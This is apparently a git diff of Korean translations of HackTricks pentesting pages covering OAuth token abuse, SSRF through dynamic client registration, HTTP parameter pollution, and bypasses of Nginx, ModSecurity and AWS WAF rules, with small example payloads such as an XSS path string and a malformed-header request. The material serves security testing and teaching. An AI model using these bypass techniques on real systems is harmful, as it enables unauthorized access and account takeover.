더 자세한 정보를 원하시면 AWS Cognito를 악용하는 방법을 확인하세요:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
|
||||
### 다른 앱 토큰 남용 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**이 글에서 언급된 것**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)과 같이, **토큰**(코드가 아닌)을 받기를 기대하는 OAuth 플로우는 토큰이 해당 앱에 속해 있는지 확인하지 않으면 취약할 수 있습니다.
|
||||
|
||||
이는 **공격자**가 **OAuth를 지원하는 애플리케이션을 만들고 Facebook으로 로그인**한 다음 피해자가 **공격자의 애플리케이션**에서 Facebook으로 로그인하면, **공격자가 사용자의 OAuth 토큰을 획득하여 사용자의 토큰을 사용하여 피해자 OAuth 애플리케이션에 로그인할 수 있기 때문입니다**.
|
||||
왜냐하면 **공격자**가 **OAuth를 지원하는 애플리케이션을 만들고 Facebook으로 로그인**한 다음 피해자가 **공격자의 애플리케이션**에서 Facebook으로 로그인하면, **공격자는 사용자의 OAuth 토큰을 가져와서 사용자의 사용자 토큰을 사용하여 피해자 OAuth 애플리케이션에 로그인할 수 있습니다**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
따라서, 공격자가 사용자가 자신의 OAuth 애플리케이션에 액세스하도록 관리하면, 토큰이 그들의 앱 ID에 부여되었는지 확인하지 않는 애플리케이션에서 피해자 계정을 탈취할 수 있게 될 것입니다.
|
||||
따라서, 공격자가 사용자가 자신의 OAuth 애플리케이션에 액세스하도록 관리하면, 토큰을 기대하고 있고 토큰이 자신의 앱 ID에 부여되었는지 확인하지 않는 애플리케이션에서 피해자 계정을 탈취할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 두 링크 및 쿠키 <a href="#bda5" id="bda5"></a>
|
||||
### 두 링크 & 쿠키 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 **공격자의 호스트를 가리키는 returnUrl**이 있는 페이지를 열도록 만들 수 있었으며, 이 정보는 쿠키(RU)에 **저장**되며 **나중 단계에서** **프롬프트**가 **사용자**에게 **해당 공격자 호스트에 액세스를 허용할지 물어볼 것**입니다.
|
||||
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 **공격자의 호스트를 가리키는 returnUrl**이 있는 페이지를 열도록 만들 수 있었습니다. 이 정보는 **쿠키(RU)에 저장**되며 **나중 단계에서** **프롬프트**가 **사용자에게** 해당 **공격자의 호스트에 액세스를 허용할지 물어볼 것입니다**.
|
||||
|
||||
이 프롬프트를 우회하기 위해 **Oauth 플로우를 시작하는 탭을 열어** 이 returnUrl을 설정하는 **RU 쿠키를 설정**하고, 프롬프트가 표시되기 전에 탭을 닫고 해당 값이 없는 새 탭을 열 수 있습니다. 그러면 **프롬프트는 공격자 호스트에 대해 알리지 않을 것**이지만 쿠키는 그것으로 설정되어 있기 때문에 **토큰이 리디렉션에서 공격자 호스트로 전송**될 것입니다.
|
||||
이 프롬프트를 우회하기 위해 **Oauth 플로우를 시작하는 탭을 열어** 이 **RU 쿠키를 설정**할 수 있었고, **프롬프트가 표시되기 전에 탭을 닫고** 그 값을 가지지 않은 새 탭을 열 수 있었습니다. 그러면 **프롬프트는 공격자의 호스트에 대해 알리지 않겠지만**, 쿠키는 그것으로 설정되므로 **토큰은 리다이렉션 시 공격자의 호스트로 전송**됩니다.
|
||||
|
||||
### SSRF 매개변수 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
**[이 연구를 확인하십시오](https://portswigger.net/research/hidden-oauth-attack-vectors) 이 기술의 자세한 내용을 확인하십시오.**
|
||||
**[이 연구를 확인하세요](https://portswigger.net/research/hidden-oauth-attack-vectors) 이 기술의 자세한 내용을 알아보세요.**
|
||||
|
||||
OAuth의 동적 클라이언트 등록은 **서버 측 요청 위조(SSRF)** 공격을 위한 중요한 벡터로 작용하는데, 이는 명시적이지 않지만 보안 취약점을 가질 수 있습니다. 이 엔드포인트는 OAuth 서버가 클라이언트 애플리케이션에 대한 세부 정보를 수신하도록 하며, 이는 악용될 수 있는 민감한 URL을 포함합니다.
|
||||
OAuth의 Dynamic Client Registration은 **Server-Side Request Forgery (SSRF)** 공격을 위한 덜 명백하지만 중요한 취약성 벡터로 작용합니다. 이 엔드포인트는 OAuth 서버가 클라이언트 애플리케이션에 대한 세부 정보를 받아들일 수 있도록 하며, 이 정보에는 악용될 수 있는 민감한 URL도 포함될 수 있습니다.
|
||||
|
||||
**주요 포인트:**
|
||||
|
||||
- **동적 클라이언트 등록**은 주로 `/register`에 매핑되며, `client_name`, `client_secret`, `redirect_uris`, 로고 또는 JSON Web Key Sets (JWKs)의 URL과 같은 세부 정보를 POST 요청을 통해 수락합니다.
|
||||
- 이 기능은 **RFC7591** 및 **OpenID Connect Registration 1.0**에서 제시된 사양을 준수하며, SSRF에 취약할 수 있는 매개변수를 포함합니다.
|
||||
- **Dynamic Client Registration**은 주로 `/register`에 매핑되며 `client_name`, `client_secret`, `redirect_uris`, 로고 또는 JSON Web Key Sets (JWKs)의 URL을 포함하는 POST 요청을 통해 세부 정보를 받아들입니다.
|
||||
- 이 기능은 **RFC7591** 및 **OpenID Connect Registration 1.0**에서 제시된 사양을 준수하며 SSRF에 취약할 수 있는 매개변수를 포함합니다.
|
||||
- 등록 프로세스는 여러 가지 방법으로 서버가 SSRF에 노출되도록 할 수 있습니다:
|
||||
- **`logo_uri`**: 서버에서 가져올 수 있는 클라이언트 애플리케이션 로고의 URL로, SSRF를 트리거하거나 URL이 잘못 처리되면 XSS로 이어질 수 있습니다.
|
||||
- **`jwks_uri`**: 악의적으로 작성된 클라이언트의 JWK 문서에 대한 URL은 서버가 악성 서버로 외부 요청을 수행하도록 할 수 있습니다.
|
||||
- **`jwks_uri`**: 악의적으로 작성된 클라이언트의 JWK 문서를 가리키는 URL로, 서버가 공격자가 제어하는 서버로 외부 요청을 만들게 할 수 있습니다.
|
||||
- **`sector_identifier_uri`**: `redirect_uris`의 JSON 배열을 참조하며, 서버가 이를 가져와 SSRF 기회를 만들 수 있습니다.
|
||||
- **`request_uris`**: 클라이언트에 대한 허용된 요청 URI 목록으로, 서버가 권한 부여 프로세스 시작 시 이러한 URI를 가져오면 악용될 수 있습니다.
|
||||
|
||||
**악용 전략:**
|
||||
|
||||
- `logo_uri`, `jwks_uri`, 또는 `sector_identifier_uri`와 같은 매개변수에 악의적인 URL을 포함하여 새 클라이언트를 등록함으로써 SSRF를 트리거할 수 있습니다.
|
||||
- `request_uris`를 통한 직접적인 악용은 화이트리스트 제어를 통해 완화될 수 있지만, 사전 등록된 공격자가 제어하는 `request_uri`를 제공함으로써 권한 부여 단계 중에 SSRF를 용이하게 할 수 있습니다.
|
||||
- `logo_uri`, `jwks_uri`, 또는 `sector_identifier_uri`와 같은 매개변수에 악의적인 URL을 가진 새 클라이언트를 등록하여 SSRF를 트리거할 수 있습니다.
|
||||
- `request_uris`를 통한 직접적인 악용은 화이트리스트 제어로 완화될 수 있지만, 사전 등록된 공격자가 제어하는 `request_uri`를 제공하면 권한 부여 단계 중에 SSRF를 용이하게 할 수 있습니다.
|
||||
|
||||
## OAuth 제공자 Race Conditions
|
||||
|
||||
테스트 중인 플랫폼이 OAuth 제공자인 경우 [**가능한 Race Conditions을 테스트하려면 이를 읽으세요**](race-condition.md).
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,30 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 팔로우하세요**.**
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# HTTP 파라미터 오염 (HPP) 개요
|
||||
|
||||
HTTP 파라미터 오염 (HPP)은 공격자가 HTTP 파라미터를 조작하여 웹 애플리케이션의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 파라미터를 추가, 수정 또는 복제함으로써 이루어집니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만 서버 측에서 애플리케이션의 기능을 크게 변경할 수 있으며 클라이언트 측에도 영향을 미칠 수 있습니다.
|
||||
HTTP 파라미터 오염 (HPP)은 공격자가 HTTP 파라미터를 조작하여 웹 응용 프로그램의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 파라미터를 추가, 수정 또는 복제함으로써 이루어집니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만 서버 측에서 응용 프로그램의 기능을 크게 변경할 수 있으며 클라이언트 측에도 영향을 미칠 수 있습니다.
|
||||
|
||||
## HTTP 파라미터 오염 (HPP)의 예
|
||||
|
||||
은행 애플리케이션 거래 URL:
|
||||
은행 응용 프로그램 거래 URL:
|
||||
|
||||
- **원본 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
|
@ -33,58 +33,58 @@ HTTP 파라미터 오염 (HPP)은 공격자가 HTTP 파라미터를 조작하여
|
|||
|
||||
- **조작된 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
거래가 `accountA` 대신에 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래나 비밀번호 재설정, 2단계 인증 설정 또는 API 키 요청과 같은 기능을 조작할 수 있는 잠재력을 보여줍니다.
|
||||
거래가 `accountA` 대신 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래나 비밀번호 재설정, 2단계 인증 설정 또는 API 키 요청과 같은 기능을 조작할 수 있는 잠재력을 보여줍니다.
|
||||
|
||||
### **기술별 파라미터 구문 분석**
|
||||
|
||||
- 파라미터가 구문 분석되고 우선순위가 결정되는 방식은 기저 웹 기술에 따라 다르며, HPP가 어떻게 악용될 수 있는지에 영향을 줍니다.
|
||||
- 파라미터가 구문 분석되고 우선 순위가 매겨지는 방식은 기저 웹 기술에 따라 다르며, HPP가 어떻게 악용될 수 있는지에 영향을 줍니다.
|
||||
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)와 같은 도구는 이러한 기술과 그들의 구문 분석 동작을 식별하는 데 도움을 줍니다.
|
||||
|
||||
## PHP 및 HPP 악용
|
||||
|
||||
**OTP 조작 사례:**
|
||||
|
||||
- **문맥:** OTP(일회용 비밀번호)를 필요로 하는 로그인 메커니즘이 악용되었습니다.
|
||||
- **문맥:** 일회용 비밀번호 (OTP)를 필요로 하는 로그인 메커니즘이 악용되었습니다.
|
||||
- **방법:** Burp Suite와 같은 도구를 사용하여 OTP 요청을 가로채어 공격자가 HTTP 요청에서 `email` 파라미터를 복제했습니다.
|
||||
- **결과:** 초기 이메일을 위한 OTP가 조작된 요청에서 지정된 두 번째 이메일 주소로 전송되었습니다. 이 결함으로 인해 의도된 보안 조치를 우회하여 무단 액세스가 허용되었습니다.
|
||||
|
||||
이 시나리오는 OTP 생성을 위해 첫 번째 `email` 파라미터를 처리하고 전달을 위해 마지막을 사용한 애플리케이션의 백엔드에서 중대한 간과를 강조합니다.
|
||||
이 시나리오는 OTP 생성을 위해 첫 번째 `email` 파라미터를 처리하고 전달을 위해 마지막을 사용한 응용 프로그램의 백엔드에서 중대한 실수를 강조합니다.
|
||||
|
||||
**API 키 조작 사례:**
|
||||
|
||||
- **시나리오:** 응용 프로그램이 사용자가 프로필 설정 페이지를 통해 API 키를 업데이트할 수 있도록 허용합니다.
|
||||
- **공격 벡터:** 공격자가 POST 요청에 추가적인 `api_key` 파라미터를 추가함으로써 API 키 업데이트 기능을 조작할 수 있다는 것을 발견했습니다.
|
||||
- **기술:** Burp Suite와 같은 도구를 활용하여 공격자가 요청을 작성하는데 두 개의 `api_key` 파라미터를 포함시킵니다: 하나는 합법적이고 다른 하나는 악의적입니다. 서버는 마지막 발생만 처리하여 API 키를 공격자가 제공한 값으로 업데이트합니다.
|
||||
- **공격 벡터:** 공격자가 POST 요청에 추가적인 `api_key` 파라미터를 추가함으로써 API 키 업데이트 기능의 결과를 조작할 수 있다는 것을 발견했습니다.
|
||||
- **기술:** Burp Suite와 같은 도구를 활용하여 공격자는 두 개의 `api_key` 파라미터를 포함하는 요청을 작성했습니다: 하나는 합법적이고 다른 하나는 악의적입니다. 서버는 마지막 발생만 처리하여 API 키를 공격자가 제공한 값으로 업데이트합니다.
|
||||
- **결과:** 공격자는 피해자의 API 기능을 제어하며, 무단으로 개인 데이터에 액세스하거나 수정할 수 있습니다.
|
||||
|
||||
이 예는 특히 API 키 관리와 같이 중요한 기능에서 안전한 파라미터 처리의 필요성을 강조합니다.
|
||||
|
||||
## 파라미터 구문 분석: Flask vs. PHP
|
||||
|
||||
웹 기술이 중복 HTTP 파라미터를 처리하는 방식은 다양하며, HPP 공격에 취약성에 영향을 줍니다:
|
||||
웹 기술이 중복 HTTP 파라미터를 처리하는 방식은 다양하며, HPP 공격에 취약성을 미치는 방식이 다릅니다:
|
||||
|
||||
- **Flask:** 쿼리 문자열 `a=1&a=2`에서 처음 만난 파라미터 값을 채택하여 초기 인스턴스를 우선시하며, 후속 복제본보다 초기 인스턴스를 우선합니다.
|
||||
- **PHP (Apache HTTP Server에서):** 반대로 주어진 예제에서 `a=2`를 선택하는 마지막 파라미터 값을 우선시합니다. 이 동작은 공격자의 조작된 파라미터를 원본보다 우선하여 HPP 악용을 우연히 용이하게 할 수 있습니다.
|
||||
- **Flask:** 쿼리 문자열 `a=1&a=2`에서 처음 만난 매개변수 값을 채택하여 초기 인스턴스를 우선시합니다.
|
||||
- **PHP (Apache HTTP Server에서):** 반대로 주어진 예제에서 `a=2`를 선택합니다. 이 동작은 공격자의 조작된 매개변수를 원본보다 우선시하여 HPP 악용을 우연히 촉진할 수 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 팔로우하세요**.**
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,25 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고**되길 원하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 경로 이름 조작을 통한 Nginx ACL 규칙 우회 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
기술 [이 연구에서](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)에서 기술된 기법들.
|
||||
|
||||
Nginx 규칙 예시:
|
||||
```plaintext
|
||||
|
@ -87,17 +87,18 @@ deny all;
|
|||
|
||||
### 경로 혼란
|
||||
|
||||
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3 (3.0.12 버전까지)이 `REQUEST_FILENAME` 변수를 부적절하게 구현하여 액세스된 경로를 포함해야 했지만 (매개변수 시작까지), 이 변수가 URL 디코드를 수행하여 경로를 가져오기 때문에 실제로는 `/foo%3f';alert(1);foo=`와 같은 요청은 mod security에서 경로가 `/foo`로 가정될 것이지만 `%3f`가 URL 경로를 끝내는 `?`로 변환되므로 서버가 받게 될 실제 경로는 `/foo%3f';alert(1);foo=`가 됩니다.
|
||||
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3 (3.0.12 버전까지)이 `REQUEST_FILENAME` 변수를 부적절하게 구현하여 액세스된 경로를 포함해야 했지만 (매개변수의 시작까지), 실제로는 경로를 얻기 위해 URL 디코딩을 수행했기 때문에 설명되었습니다.\
|
||||
따라서 Mod Security에서 `http://example.com/foo%3f';alert(1);foo=`와 같은 요청은 `%3f`가 URL 경로를 끝내는 `?`로 변환되어 경로가 `/foo`일 것으로 가정하지만, 실제로 서버가 받게 될 경로는 `/foo%3f';alert(1);foo=`가 됩니다.
|
||||
|
||||
변수 `REQUEST_BASENAME` 및 `PATH_INFO`도 이 버그의 영향을 받았습니다.
|
||||
|
||||
Mod Security의 2 버전에서도 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스하는 것을 방지하는 보호를 우회할 수 있었던 버그가 발생했습니다. 예를 들어, `.bak`와 같은 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스하는 것을 방지하는 보호를 우회하기 위해 단순히 점을 URL 인코딩된 `%2e`로 보내는 것이 가능했습니다. 예를 들어, `https://example.com/backup%2ebak`.
|
||||
Mod Security의 버전 2에서도 비슷한 일이 발생했는데, 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스를 방지하는 보호 기능을 우회할 수 있었습니다 (예: `.bak`) 단순히 점을 URL 인코딩된 `%2e`로 보내는 것으로, 예를 들어: `https://example.com/backup%2ebak`.
|
||||
|
||||
## AWS WAF ACL 우회 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 형식이 잘못된 헤더
|
||||
|
||||
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)는 AWS WAF 규칙을 우회할 수 있는 방법으로 HTTP 헤더에 적용된 AWS WAF 규칙을 우회할 수 있었던 "형식이 잘못된" 헤더를 보내는 것이 가능했다고 언급합니다. 이 헤더는 AWS에서 올바르게 구문 분석되지 않았지만 백엔드 서버에서는 올바르게 구문 분석되었습니다.
|
||||
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)는 AWS WAF 규칙을 우회할 수 있었던 것으로 언급했습니다. 이는 AWS가 제대로 구문 분석하지 못한 "형식이 잘못된" 헤더를 보내어 우회할 수 있었지만 백엔드 서버에서는 제대로 구문 분석되었습니다.
|
||||
|
||||
예를 들어, 다음 요청을 SQL 인젝션을 포함한 헤더 X-Query로 보내는 것:
|
||||
```http
|
||||
|
@ -108,7 +109,7 @@ X-Query: Value\r\n
|
|||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
AWS WAF를 우회하는 것이 가능했었는데, 이는 AWS WAF가 헤더 값의 다음 줄이 해당 값의 일부라는 것을 이해하지 못했기 때문이었습니다. 반면 NODEJS 서버는 이를 이해했었습니다 (해당 문제는 수정되었습니다).
|
||||
AWS WAF 우회가 가능했던 이유는 헤더 값의 다음 줄이 값의 일부라는 것을 이해하지 못했기 때문이었습니다. NODEJS 서버는 이를 이해했지만 (이는 수정되었습니다).
|
||||
|
||||
## 참고 자료
|
||||
|
||||
|
@ -116,7 +117,7 @@ AWS WAF를 우회하는 것이 가능했었는데, 이는 AWS WAF가 헤더 값
|
|||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -126,10 +127,10 @@ AWS WAF를 우회하는 것이 가능했었는데, 이는 AWS WAF가 헤더 값
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
